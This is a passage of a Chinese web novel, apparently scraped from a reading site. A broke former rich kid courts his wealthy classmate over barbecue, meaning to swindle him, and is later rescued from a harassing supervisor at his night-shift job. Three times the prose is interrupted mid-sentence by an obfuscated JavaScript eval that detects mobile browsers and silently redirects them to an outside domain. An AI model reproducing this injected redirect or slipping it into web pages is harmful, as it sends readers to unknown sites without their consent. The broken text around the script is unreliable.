巷子没多深,三五平米的小门脸藏在巷尾,外头就靠三套塑料桌椅支出了个摊子,其中一桌围了几个大汉,热热闹闹地碰杯唠嗑。铁皮炉子里的炭火烧得通红,老板正抓着铁签子翻肉串、撒佐料,白烟裹着滋滋冒油的肉香往上飘,空气里也混着烟酒味。 迟砚站定,看着这处简陋的烧烤摊。 “我跟你说,这家烤串特别地道。”时钦往老同学跟前凑了凑,抬头吹嘘,“尤其那大腰子和羊肉,烤得一点都不膻。”其实他压根没吃过,来这儿纯图便宜。 没等迟砚说话。 “你一直忙忙忙的,再晚来几天,就吃不着了。”时钦语气里不自觉又掺了点埋怨,指着最右边的空桌,顺嘴就指挥,“你坐那儿等我,我去点吃的,有什么想吃的没?” 不等迟砚开口。 “没有我就看着点了啊。”说完,时钦径直去了店里,免得周砚真开口要上十串八串的羊肉和大腰子。 迟砚走到桌前,在塑料凳上坐下来,目光落向店里,时钦捧着个不锈钢托盘,在冰柜前挑挑拣拣,拿了串迟疑两秒又塞回去,还不时低头,嘴里碎碎念着什么。 没看多久,老板娘先往他这桌送了两瓶啤酒,接着端来水煮毛豆和花生米,最后又添了盘凉拌海带丝,而时钦还在冰柜前挑挑拣拣。 海带丝是时钦额外加的,七块钱一份能承受,周砚昨天给他充了五十块钱话费,七块钱换五十块钱,怎么算都不亏。 点完吃的,他没着急付账,想看看等结束了周砚会不会大方买单。转身时一瞧,见对方在低头看手机,还摆着那人模狗样的气质,有一说一确实挺帅。 时钦就没觉得周砚丑过,他是亲眼见过的,上学那会儿就有不止一个女生对周砚表白,给当时的他嫉妒疯了。 明明自己也不差,长得又帅又有钱,哪点比不上闷葫芦,不就身高差了点么,为什么没女生对自己表白? 如今真的比不上了,还要上赶着去巴结。 为了套近乎,时钦没坐老同学对面,特意挨着侧边坐下,趁间隙偷摸瞄了眼对方手机屏幕,暗忖这闷葫芦居然在看娱乐新闻,还盯着男星照片,是在追星? 他心头微微一顿,脱口就问:“周砚,你喜欢这个男明星啊?” 迟砚没接话,只按灭屏幕,收起了手机。 下车前,时钦就琢磨过,周砚说不定早有喜欢的人了,自己今晚准备的大招未必管用。 万一对手是这种精致男明星,那还玩个屁?远川旗下有娱乐公司,以周砚董事的身份和能力以及财力,想要什么样的人没有?潜个明星恐怕小菜一碟。 他拆出双一次性筷子,攥着两根木筷“噌噌”磨了好几下,把边缘毛刺蹭得干干净净,递过去时硬挤出个笑:“快吃吧,你是不是等我呢?都老同学了搞这么见外干嘛?” 巷子路灯很暗,只有烧烤店里漏出来的白光亮些。迟砚扫到时钦嘴角那对浅浅的梨涡,短暂停留后,移开眼神去接筷子,接过又轻轻搁下,声音淡淡的:“不饿,你吃吧。” 时钦一愣,问:“你吃过了?” 迟砚:“嗯。” “那你怎么不早说啊,我点了好多。”话一出口,时钦就觉出自己语气冲了,赶紧往回敛,脑子灵光一闪:这不正是卖惨的好机会? 于是他干笑两声,顺着话头往下圆:“都怪我下班太晚了,我一天要干十二小时,打工人没办法啊,时间太长老饿肚子,饿习惯了连吃饭的点都记混,所以才想等休息,好好约你吃一顿的。” 迟砚又扫过时钦那张喋喋不休的嘴,一张一合,非常吵。 “那喝点酒啊!”时钦招呼着,用开瓶器“咔嗒”撬开瓶盖,透明塑料杯往对方跟前一摆,先给满上,然后才给自己倒满。 迟砚看着杯口满溢的泡沫刚要说话,时钦的杯子已经碰过来,一声“干杯”落进耳朵里。他抬眼,见时钦仰头猛灌,“咕咚”连着两声吞咽,喉结滚动间,旁边那颗小痣也跟着动,晃了他的神。 “嘶,真爽!”时钦撂下杯子,喉结还滚了下,不忘卖惨,“沾你的光才喝上,我平时可舍不得买。” 迟砚此刻不太想说话。 “你也喝啊。”时钦捏了个毛豆塞嘴里,用牙齿把豆子啃出来,边嚼边开玩笑暖场,“老同学一场,不喝就是不给面子啊,等月底发工资,我再请你喝更好的啤酒。” “谢谢。”迟砚说,“我不喝酒。” 时钦心里门儿清,这装货就是不想给他面子。他暗自较劲,说什么也要让闷葫芦喝一口,酒都不肯喝,那接下来怎么谈啊? “你不是带了司机么,他要是走了你打车呗,这男人哪有不喝酒的?难道你应酬的时候不喝酒?” 言下之意:你他妈是不是男人啊! “给我个面子行不?”时钦又端起自己那杯凑过去讨好地碰了碰,“喝嘛。” 怎么能这么叽叽喳喳。迟砚端起面前的塑料杯,送到唇边抿了口。 见状,时钦顿时痛快不少。肚子早饿得慌,他拆开筷子,夹起毛豆和花生轮番往嘴里塞,嘴没闲着,还硬找话聊:“周砚,你弟大学毕业了吧?我记得他就小我们一届。” 迟砚避而不谈,反问时钦:“不是心里有话想当面对我说?说吧。” 时钦:“……” 好久没这么近地跟周砚坐在一起,过去的事儿忽然冒了出来。时钦想起有一回,在周焕的热情邀请下去了他家玩,周砚当时不在家,不知道干什么去了,回来后见到他时,脸色冷得特别欠揍。 那天晚上他和周砚也像现在这样,挨得很近。周砚全程安静吃饭,连个眼神都没给他,只有他爸妈和弟弟一直热情招待他。 后来只要他给周焕买东西,周砚就会觉得他在影响周焕学习,放学后会找机会堵他,甚至在他去卫生间时也堵过他,把他送的东西一样样原封不动还回来。 知道周砚特别在乎自己那个亲弟弟,时钦想了想,说:“你放心啊,我肯定不会影响你弟,我现在都这样了,也不好意思出现在他面前,去年同学聚会我都没参加。其实上学那会儿我给周焕送东西,是真的想送给他,跟你没关系,真的,那时候确实对你有点意见,但对你弟没有。” 这样说,周砚应该能对他改观一点了吧?如此真情实感,时钦自己都要信了。 “说完了吗?”迟砚问。 “……”时钦伸手刚要夹一筷子海带丝,就对上明显的、让他特别熟悉的冷脸,一时摸不准自己哪句话说错了。刚好老板娘端着烤好的串送来,他忙拿起一个大腰子,热情递过去,“你尝尝这个,真香。” 迟砚避开,“不饿。” 操,爱吃不吃,老子还不想给你吃呢!时钦收着脾气,把腰子拿回来张嘴就咬,结果当场烫着舌头:“哎哟我操,烫死我了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437097|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他慌忙抓起杯子猛灌一大口啤酒,引来邻桌的视线。 看着这一幕的迟砚:“……” 时钦憋屈死了。 独自流浪的这几年里,他憋屈过无数回,可是从来没有哪一回像今天这样,比被人打了还憋屈。别人打他,他上赶着赔笑脸说两句好听的,对方大多就不会再跟他计较。还有些人会看在他脚不好的份上,给他一口饭,介绍活儿给他干。 只有周砚,总让他吃力不讨好。 时钦差点就不顾一切臭骂出口,透心凉的啤酒下肚,他糟糕的情绪又缓了些。但眼神里的不满没藏住,他盯着那张面无表情的冷脸,忽然委屈地吐了下舌头,问:“是不是烫破皮了啊?” 迟砚微怔。 “我疼死了,”时钦可怜兮兮地说,“你爽死了吧?” 迟砚:“……” “唉……”时钦叹气,举起酒瓶又给自己倒满一杯,仰头灌下去,才觉得舌头没那么疼了,自然也能好好吃东西了。 他重新抓起那串大腰子,凑到嘴边“呼呼”吹了好几下才咬下去,瞬间香迷糊了,以前瞧都瞧不上的烧烤,竟成了人间美味。 迟砚就这么看着时钦大口吃腰子,腮帮子鼓鼓的,吃完腰子吃肉串,一个劲儿光顾着往嘴里塞,荤的吃完了连嘴唇上沾着的佐料都舔了个干净,酒也没停过,狼吞虎咽的样子,显然饿极。 看了一阵,他终是起身,留下句“我先走了”。只是这一转身,衬衣袖子就被拽住。 时钦快速把嘴里的烤豆腐嚼吧嚼吧,囫囵吞下肚,这才有空说话:“你别走啊!我肚子都饿死了还不让我吃两口啊?有没有同情心?我心里话还都没跟你说呢。” 迟砚抽回胳膊,坐下来:“说吧。” 邻桌那几个大汉依旧操着方言唠得热闹,时钦没觉得吵,闹哄哄的正合适。他把另外瓶啤酒也开了,给自己满上撞胆,可一大口灌下去,嗓子眼儿却堵了,死活开不了口,心脏在发紧,是真他妈要命。 迟砚看他几次欲言又止,没多少耐心耗着:“给你两分钟。” “……”时钦甚至没敢抬头瞧对方的脸,扭头望向巷尾那棵枇杷树,叶子在风里轻轻摇晃,耳边只剩自己“咚咚咚”的心跳,还越跳越快,连手心都有点发潮了。 他硬着头皮抓住杯子,声音发虚:“周砚,其实,其实我……” 时钦支支吾吾话说不利索,迟砚目光往下落了落,停在他攥着杯沿的手背上,而后才出声:“我在听,还有一分半。” “……”大爷的,豁出去了! 时钦又喝了口酒,借着酒劲儿,手悄悄往桌底下探,伸过去一把摸住老同学的手,瞎话张嘴就来:“其实我那时候也喜欢你,这么多年心里一直有你……” 操,终于说出来了! “我还梦见过你。”这句是真话,时钦真的梦见过周砚。 迟砚脸上没半点波澜,抽回手,冷着脸打断:“说重点。” “……”时钦安慰自己钱难挣屎难吃,话都到这份上了,别他妈怂! 他脸皮厚起来,干脆摊牌:“我想跟你发展一下。”到底没法直说出那句“我想跟你谈恋爱”,怕把自己膈应死。 空气突然间凝固。 时钦只能闷头喝酒来分散注意力,顺便压一压心里说不上来的别扭,没一会儿,他听见周砚问他: “发展什么。” 9.发展关系 废他妈话,发展关系呗,还能是什么。 “就那个啊……”时钦还是说不出有关“恋爱”的字眼,他抬手抓了抓头发,语气里带点硬撑的急,“别说你不懂啊,还让我说,我又没跟男的试过。” “不懂。”迟砚说。 “……”时钦语塞,真是沟通有壁。 他不满瞥了眼面无表情的火星人,指甲无意识抠着塑料杯,硬是抠出好几道白痕。 杯里啤酒直晃荡,他憋着酝酿半天,几乎是从牙缝里挤出来一句磕磕绊绊的话,连语气都透着生硬的别扭:“就是发展那个啊,那什么恋、恋爱关系……” 妈的,憋屈死谁了! 等不到回应,时钦又瞥了对方一眼,梗着脖子说:“别装啊,我都说这么清楚了!” 迟砚始终看着时钦,把他那些不自然的小动作和闪躲的小眼神都收进眼里,过了好一会儿,他缓缓开口,就简单一个字:“好。” “啊!”时钦眼睛都瞪圆了,看向老同学,“真的假的?” 迟砚微点头,问:“吃完了吗?” 时钦:“……” 不知道是不是错觉,时钦觉得周砚对自己的态度,好像一下子变好了。 其实他原计划今晚就直接开口借钱,随便找个凄惨理由借一百万,等拿到手就跑路。 可架不住闷葫芦太抠搜,昨天就只给充了五十块钱话费,不先套下近乎根本捞不着钱,所以才咬咬牙想赌一把。 因为他曾经在周砚房间里,看见过自己的照片。 等财主自觉去老板那儿付了烤串钱,时钦两眼放光,激动得不行,又是后悔刚才没多来几串大腰子和羊肉,又是后悔没在第一天遇上周砚的时候就使这大招。 他又觉得周砚对他贼心不死了。不对,准确来说应该是贼心没死透,他这稍微一钓,那贼心又活了。 至于活得怎么样,有待考察。 邻桌那几个大汉总算散了,巷子很快变得冷清。 时钦着急想验证成果,一离开烧烤摊,就伸手去拽走在边上的男人,理直气壮地使唤起来:“周砚,你背我。”怕失败他赶紧找补一句,“我喝多了头有点晕。” 迟砚停下来,微微垂眼,在昏暗的路灯下盯着时钦。他挺拔的身形在地面上投出片浅影,把人笼在了里头。 一秒、两秒、三秒后,时钦被盯得发毛,连呼吸也放轻了些,心里忍不住骂骂咧咧:这闷葫芦几个意思?都发展关系了就这么对他?贼心到底死没死啊?死不死的也说句话啊! 小不忍则乱全局,跟什么过不去都不能跟钱过不去。 他没什么底气地又找补了一句:“我脚疼。” “把你的嘴擦干净。” “啊?”时钦满脸困惑,抬手就往嘴上抹了一把,等看见手背上沾着的孜然粉,很快反应过来,自己这是被嫌弃了。 不跟装货一般见识,反正明天休息,正好能把制服洗了。他索性撸起袖子,用袖口擦嘴,正擦着呢,就见前一秒还嫌弃他的人,竟真的在他面前屈膝半蹲下来。 他整个人都惊住了,原来闷葫芦不是在嫌弃他,是怕他把嘴上的孜然蹭衣服上去啊? 本着有福不享是傻逼的原则,尤其对方是周砚,时钦当即往那宽阔的背上一趴,全身重量都压了上去。肢体接触的瞬间,他莫名窃喜:操,是完全能接受的程度。紧接着又用胳膊搂紧对方脖子,再确认:还是能接受。 脖子被勒得呼吸滞了下,迟砚眉心轻拧,警告背上不安分的人:“别勒那么紧。” “哦哦,没注意。” 时钦立马松了些力道,周砚一起身,他视野跟着慢慢抬升,双腿也被箍得更紧。他动了动身体想调整舒服,却蹭了一脸头发,发丝扫过脸颊时带出痒意,他扭头躲开,又没忍住凑近使劲闻了闻,好奇发问:“周砚,你用的什么洗发水?头发好香啊。” 迟砚:“……” 时钦又理直气壮:“送我一瓶呗?” 迟砚只觉得吵。 时钦:“身上也挺香的,是不是喷香水了?” 时钦:“你怎么不理人啊?我又没问你要香水,就送一瓶洗发水都不行么?” 时钦:“那买个挡风被给我,总可以吧?” 时钦:“今天有点凉,风吹得我脚脖子难受。” 微烫的呼吸扫在耳后,迟砚喉结动了一下,没说话,脚步沉了些,也快了些。 趴在结实的背上,时钦舒服地眯着眼,恍惚想起以前周砚背他回家的那个深夜,又嘟囔着:“别再说我重了啊,我这几年很惨的,肉都吃不起,惨瘦了。” 巷子本就不深,没两分钟便走到了头,迟砚停下,稳稳将时钦从背上放了下来。 时钦瞥见路边停着的那辆黑色奔驰,惊讶问:“你司机一直没走啊?” “上车。” 看着先走一步的背影,时钦没多想就跟了上去,一坐进车里,脑瓜就转开了偷偷分析起来。 这闷葫芦的脑子里到底装着什么东西呢?都答应跟他发展关系了,也听话背他了,按理说应该送他洗发水和香水,再给他买个挡风被啊!怎么一把他放下来又变回那死样儿? 照这个趋势,猴年马月能捞着钱? “周砚。”时钦喊了声。 车里过分安静,边上的闷葫芦不吭声,他就继续喊:“周砚。” 迟砚转头,在昏暗中见时钦又把鞋脱了整个窝在座椅里,问他:“有事吗?” “有啊,”时钦故意说,“我想听music,要嗨一点的。” 迟砚指节在膝上轻磕了下,他太清楚时钦这简单要求背后藏着什么。而对付这个难缠又不达目的不罢休的主,从来就只有“满足”这一项。 但,他还真不想满足这个自以为是的少爷。 “凌默,交通广播。” “好的,迟总。” “……”时钦一下子就懵了。 等车一路开回园区西门,他被刚处上的冷面对象赶下车,孤零零杵在自己的小破电驴旁,眼睁睁望着奔驰驶远,脸上还挂着没缓过来的懵,风一吹才清醒。 “我去你大爷的。” 算了。 时钦这几年最会的就是自我安慰,生死面前,什么困难都能扛得过去。 何况算命的还说过,他生命线长着呢,熬过今年俗称“槛儿年”的本命年,以后顺得很,这叫大器晚成。 区区一个闷骚装货,犯不着往心里去。 还是老样子,靠一通自欺欺人的安慰,时钦把自己哄明白了。他跨上小电驴,缩着脚脖子在夜风里慢悠悠地骑,可骑到半路越想越不服气,是真没法服气。 气得他直接靠边停下,掏出手机就编辑短信。 短信对话框里,迟砚看着时钦昨天下午发的那两条消息,问他心里有没有舒服点。 “凌默。” “怎么了,迟总?” “掉头回——”话被短信提示音截断,迟砚扫着弹出来的一串文字。 【周砚,我说了我脚脖子吹风难受,晚上风大你不送我回家,有没有良心?我们现在发展关系了,有些话要说清楚,我希望你心疼我一点,给我买挡风被,明天我白天休息,再请我吃个饭,这事就翻篇了】 “迟总,前面路口可以掉头。” “继续走吧,”迟砚放下手机,“明天的机票订了吗?” 凌默:“订了,是需要取消吗?” 迟砚:“不用。” …… 一整晚,时钦没等来回信。 隔天早上睁眼,第一时间拿起手机,居然没有新短信。 闷葫芦太不是个东西了! 入秋了屋子还有蚊子,他用力挠着胳膊,又痒又烦,看着糟糕的生活环境,烦劲儿更上来了,当下就暗暗发誓:自己要住好房子,要有卫生间,有大浴缸泡澡,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442514|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要有大床,要吃大鱼大肉,要实现抽烟自由! 等手洗完制服晾去屋外绳上,时钦仗着话费充足,开始给某人不间断发骚扰短信。 昨晚那条有点腻歪的短信发出去后,他现在没了顾忌,放线就是钓,不信鱼儿不上钩。 忙了一上午,在VIP候机室准备眯会儿的迟砚,被短信消息骚扰得没办法好好休息。 【周砚,你为什么不回我短信?】 【我们已经是这种关系了,你怎么不理人?】 【中午有时间吗?你来找我吧】 【别再说你忙了,我下午去找你也行,一起吃晚饭,我晚上值夜班,七点上班】 【你要是没经验觉得不好意思,直说啊,我有经验我教你,你现在应该做的就是回我短信】 【我还有心里话想当面对你说,你想不想听?】 六条短信,迟砚逐一看了两遍,最终停在第五条上。 北城另一头,时钦正吸溜着煮好的方便面,时不时咬一口赵萍早上给烙的饼,哪晓得早在上学那会儿,自己在某人眼里,就属于连裤子脱了都不知道是谁提的主。 全因他当年总爱吹嘘显摆,什么都要跟周砚争,像是要把心底压着的不服气全撒出来。成绩争不过就争别的,周砚被人表白算个毛线,他直接当着对方的面跟女生亲嘴,甚至跑去酒吧找女生带回家过夜。 桌上手机一响,时钦忙放下筷子拿起来,点开一看,两眼一黑。 闷葫芦:【这几天很忙。】 他气急回复:【那现在饭点你忙什么?就算你忙,你不上厕所吗?回个短信能要你多久?昨晚为什么不回?又应酬去了?】 等了半分钟。 闷葫芦:【等我电话。】 “操。”时钦把手机往桌上一扔,先填饱肚子要紧。 等吃饱喝足,又灰溜溜把手机捞回来,实在搞不懂:怎么一分开,闷葫芦那贼心就跟死了似的?该不会是不想请他吃饭吧?大爷的,他也没指望多贵啊,就想吃块牛排而已。 新短信发出去前,时钦自己又删了,决定等一等,看看周砚会不会再给他打电话。 屋外天气正好,他哪儿也不想去。夜班得熬,打算补一觉,却愣是睡不着,躺在床上翻来覆去瞎琢磨,脑子里乱七八糟的想法绕个不停,绕到最后竟绕进了白日梦。 等拿到一百万,要去哪里生活呢?省吃俭用的话,应该够花一辈子了。 …… 晚上七点,时钦踩着点到了园区东门。 人还没进值班室,他先透过窗玻璃看见了王广强那张带凶气的脸,愣了遭。怕自己多想,他推门进去,客客气气招呼:“副队,张洋还没到啊?” “张洋他有点事儿,”王广强瞅着细皮嫩肉的小保安,“今晚我跟你一块儿值班。” “……” 南方某省城,酒店套房内。 “迟总,目前查不到更多了。”凌默委婉提醒,“从他母亲去世后,他就没有任何行踪记录,基本是切断了所有联系,需要试试联系你以前的同学吗?可能有知情的。” “不用。” 凌默还端着台笔记本,迟疑小片刻才开口,声音压得比平时低些:“白牧闹自杀的热搜已经花钱撤了,但媒体还是堵到了公司楼下。”他观察着迟砚的脸色,又道,“公关部紧急拟了两个方案,需要你过目,也得同步给集团品牌部备案。” 天黑了还不让人安生,迟砚敲了敲桌面,示意助理:“拿来吧。” 凌默刚把笔记本递过去,见办公桌上的黑色手机“叮”一下亮了屏,弹出一条来自“小钦”的短信消息。顶头上司果然不接他电脑了,而是先拿起了那部手机。 迟砚点开短信。 小钦:【周砚,我不想干了,这老男人又摸我屁股,他今晚故意跟我一起值夜班,说送我手机,让我陪他睡觉】 小钦:【你要有良心就来接我】 10.真的恶心 时钦摸出手机,八分钟前发出去的消息还没等来回复,他心里没底,不知道能不能糊弄住周砚。 可他也没说错啊,大嗓门先后两次故意摸他,现在又用手机讨好他,下一步不就是想让他陪睡么? 躲在卫生间里耗着不是办法,他不是没想过直接尥蹶子走人。 十分钟前,王广强张嘴使唤他倒茶,他刚端着滚烫的搪瓷杯转身,王广强就敢伸着胳膊肘故意往他屁股上蹭,那一下又黏又膈应,他差点没把茶水泼对方脸上,连“捅死这老畜生”的念头都冒了出来。 但现实逼着他冷静。 全部家当总共就二百块钱,跑路还不够,他也没那个脸管赵萍借钱,已经在人家里白吃白住了三个多月。再坚持到月底,就能领一千五工资,不能白干。 这世道谁都靠不住,只有靠自己。 值班室里有监控,时钦料想王广强在摄像头底下也不敢做什么过分的举动,接下来尽可能跟老畜生保持距离。明天就找刘建国说不值夜班,必须把工资拿到手,不然都对不起自己平白被吃的豆腐。 他对着镜子深吸一口气,闭了下眼,把缠上来的那股让他浑身发怵的窒息感压进心底。再睁眼时,脸上戾气散得干干净净,只剩一副老实巴交的窝囊相。 听见卫生间门响,王广强立刻招了招手:“小伟,快过来,把手机卡拿出来,我给你装。” “不用啊副队,”时钦连忙摆手拒绝,脸上挂着局促的笑,“我手机用得挺好的,谢谢。” “好什么,那都老头儿用的机子,现在谁不使微信啊?”王广强说着就站起身,往小保安跟前凑,“我这也是换下来的旧手机,你别有负担,过来坐,强哥教你使微信。” 一淘汰下来的破手机,谁他妈有负担了?时钦心里嗤了声,警惕往门口方向挪了两步,嘴上还得客气着:“真不用了副队,等月底发了工资,我自己买。” “那不多余花钱吗?”王广强伸手就去拽时钦手腕,大嗓门里是不容拒绝的热络,“听强哥的!” 时钦挣了一下,才发现王广强的力气比预想中大得多,粗糙的五指像铁钳,死死扣着他手腕。两人距离瞬间被拉近,那股让他发怵的窒息感又缠了上来,顺着手臂往心口钻。他控制不住地发抖,眼里也蒙上一层恐慌,满脑子就剩一个疯魔的念头:捅死王广强。 突然,“砰砰砰”的敲门声猛地炸开。他慌忙扭头,见值班室的隔断玻璃门外,出现个陌生男人。王广强的手松了松,时钦趁机抽回手腕脱身,几乎是如见救星般快速冲过去开门,结果左脚慌得没使上劲,整个人“哐”一声撞在了门上。 认出来人,王广强出声责备时钦:“怎么毛手毛脚的!”又伸胳膊理了理制服,跟没事人似的,倒显得小保安自己慌慌张张撞门有错。 脑门磕得响,时钦疼得龇了下牙,还是忍着先把门打开了。他手攥着门把,在走和留之间正徘徊着,就听门外的男人开口问他:“你没事儿吧?” “啊。”时钦有点懵地摇摇头。 “嗐,这新来的小子,毛手毛脚没个准头。”王广强的声音插进来打圆场,往前两步热情招呼起来,“李总,突然过来是有什么事儿吩咐?” “是这样,”李望微微一笑,“我公司今晚聚餐,员工都散了,我现在缺个人帮我干点活儿,就想过来借一个。” 王广强一听,顺着话茬拍马屁:“行行行,李总开口那还不是一句话的事儿,我去给你帮忙。” “哎呀那多不好意思?”李望指着缩在门边上的小保安,“就他吧。想让他给我打点资料,我这边腾不开,明儿一早急用。”他转而问时钦,“会用电脑么?我是A栋二十楼那家寰望科技的老板。” 时钦心里一下透亮,紧绷的身体顷刻放松下来,忙用力点头:“会。” 王广强刚才被拂了面子,这会儿看小保安就烦,甩甩手道:“小伟,好好给李总帮忙,别出岔子!” 随男人离开值班室,时钦边走边掏出手机匆匆一瞅,没有新短信,可男人的出现一定跟周砚有关。 他不知道说点什么,只好默默跟在身后。 “你叫小伟啊。” “啊,嗯。”时钦含糊应下,就当是小名了。 “是迟砚打电话叫我过来的。”李望也没瞒着,有话直说,“亏了我刚出公司,赶得及,他那边一堆事儿赶不过来。” 时钦注意力全被陌生的姓名给勾住了,想起昨晚那个眼镜男喊周砚“池总”,忍不住打听:“他现在叫池砚?是改了姓还是……哪个chi啊?” “他姓迟,迟早的‘迟’。”什么该说什么不该说,李望还是很有分寸的,只是对时钦笑笑,“这个你回头自己问他吧。” 时钦:“……” “我姓李,单名一个望字。”李望自我介绍,“众望所归的望,家里长辈取的。” “哦哦,你好。”时钦斟酌了下,到底没有自我介绍。 天色黑透,两栋写字楼却还亮着大片灯火。 时钦以为李望就帮忙解个围而已,没想到对方真带着他往写字楼走。 等懵懵地跟进了电梯,他掏出手机一看,仍没有新短信,实在按捺不住好奇,又忍不住打听:“周砚他,不是,迟砚他都忙什么啊?不方便说就算了。” 李望好心替兄弟兼合伙人解释:“他公司有个艺人下午闹自杀,事儿闹得挺大,消防和警察全出动了,这会儿正连夜盯着公关呢,接下来几天估计都抽不开身,可能顾不上你。” “……” 重逢后,时钦对老同学可以说是一无所知,此刻听了又一脸懵。他完全没办法把改了姓的迟砚,和“娱乐圈”、“艺人”、“公关”这些词扯到一起,太他妈割裂了。 那个惜字如金的闷葫芦,居然还懂公关呢? 等跟着李望走进那家他之前只敢在门口张望的科技公司,他发现整个办公区空荡荡的,连个人影都没有。 “团队的人都聚餐去了。”李望说着往前引了两步,顺手往休息区的方向一指,示意时钦过去坐,“迟总请的客,也算赶巧,你晚上就先在这儿待着吧。” “……”时钦光记着一句“迟总请的客”,心里犯起嘀咕,死闷葫芦对他抠抠搜搜,话费都不舍得给他多充,对外人倒大方,居然肯请整个公司的人聚餐? “喝点什么?”李望转头问。 时钦本来不渴,刚要摆手说“不用”,脑子里忽然蹦出某人那张面无表情的棺材脸,闷葫芦的便宜不占白不占,于是话锋一转:“我都行,什么都喝。” 再来点吃的就更好了。他心想。 李望前脚刚进茶水间,合伙人的微信消息后脚便发来,他点开后,觉得挺好笑。 迟砚:【给他准备点吃的喝的,茶水间里那些就可以,我记得好像有牛肉干?】 迟砚:【他不喜欢喝咖啡】 李望回复:【怎么会呢?我刚问他了,他说什么都喝】 迟砚:【果汁】 李望:【你说了算行吧?我刚过去的时候,你猜我看见了什么?】 迟砚:【直接说】 李望:【副队长紧紧掐着小保安的手腕,小保安脸都吓白了,跑过来给我开门时往门上一撞,你说他多害怕啊?脑门也撞红了,唉,真可怜,不行你过来安抚下吧】 迟砚:【先忙了】 …… 趁李望还在茶水间没出来,时钦偷偷打量起这家公司,目光扫过那些现代化的设计,却也只能看个热闹。他没参加过高考,严格算下来只有初中学历,这辈子大概是没机会踏进这种地方工作的。 不过时钦也没盼着工作,就一个实在念头:要有钱,有花不完的钱,最好每天什么都不用干,钱就自动找上门来。 他没什么远大梦想,就想舒舒服服做条咸鱼。 直到李望拎着满满一大袋子吃的出来,“哗啦”往茶几上一放,时钦彻底懵了。 蜂蜜口味的混合坚果,光看包装就不便宜;独立小袋的华夫饼、曲奇饼干、水果干散了半个茶几,甚至还有盒提拉米苏蛋糕,被零食挤在中间,肉类零食更堆得冒尖,牛肉干、肉脯也铺了小半个茶几,连果汁都摆了好几种口味任他挑。 “水果没来得及多采购,就剩个榴莲了,要吃么?我去给你剥。”李望问。 “啊,不用不用!”时钦还傻着眼没缓过神。 操,这个叫李望的也太好了吧?甩那个抠搜闷葫芦好几条街。他目光直勾勾落在肉类零食上,随手拿起最让他眼馋的牛肉干,有点别扭地说:“我吃这个就够了,谢谢啊。” “别客气。”李望在另一侧的单人沙发上坐下来,笑着补了句,“迟砚是我的合伙人,听说你是他老同学,那也算我的半个老同学了。” 时钦:“……” 在李望的简单介绍下,时钦才闹明白:原来迟砚是远川旗下那家娱乐公司的执行董事。 见小保安鼓着腮帮子,含着肉干忘了嚼,眼神还有点呆,李望便点到即止:“你们还真是不熟啊。”免得某人嫌他嘴碎。 “呃,”时钦嚼着香喷喷的肉干,含糊地接话,“好久没联系了。” “没事儿,以后常联系。”李望伸手把牛肉干和果汁往时钦跟前又推了推,“多吃点,无聊的话可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451550|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以去影音室放松下,那儿片子挺全的,有想看的类型么?” 操……时钦嘴巴没停,陷在软乎乎的沙发里,哪敢想自己还能有这么舒服的一天。 察觉李望像是要起身,又想到自己总不能真在这公司待一整晚,他紧跟着站起来问:“你要回去了吧?” 李望:“嗯,你跟我来。” “啊,我不看电影。”已经连吃带喝占了便宜,时钦不好意思再麻烦李望,但凡眼前的人换成迟砚,他都能把那些肉干肉脯敞开了吃光。 “不是看电影,是迟砚交代的事儿。”李望指着另一处尽头,“他的办公室,看见没?” 时钦一头雾水,稀里糊涂跟着李望走进那间总裁办公室。他原本还好奇里头能有什么稀罕,结果扫了一圈,没什么特别,就是间看着很规整、还莫名死气沉沉的办公室,倒挺符合那闷葫芦的风格。 李望没多停留,径直走到书架旁,推开一扇看着就隐蔽的木门,侧身让时钦进去:“这是迟砚的休息室,柜子里有一次性洗漱用品,你今晚就在这儿睡,别去值班了。” “……” 时钦感觉自己有几百年没接触过这样的环境,活像个头一回进村的山里人,眼珠子在比办公室还大的休息室里直打转,不仅有软乎乎的大床,还带独立卫生间,也太爽了! 他不由得心生嫉妒,闷葫芦可真会享受,想上班就上班,累了还能进来睡一觉,关键是还有那么多钱! 李望见小保安盯着卫生间直瞧,以为时钦不好意思洗澡,笑道:“别拘着,当自己家就行。” 时钦:“……” “对了,那台电脑也可以用。”李望又顺手指了下外面的办公桌,离开前还贴心地把茶几上那些零食都装进袋,一并送进了总裁办公室。 …… 时钦啃着牛肉干,瘫在办公椅里转着圈东瞄西瞅,一会儿摸下光滑的桌面,一会儿拍两下桌沿,脑子里已经开始幻想自己是大老板,整个园区都是自己的商业帝国,什么都不用干,大手就这么往桌上一拍,每天进账就是几百万,真他妈爽啊。 还算闷葫芦有良心,知道派个人。 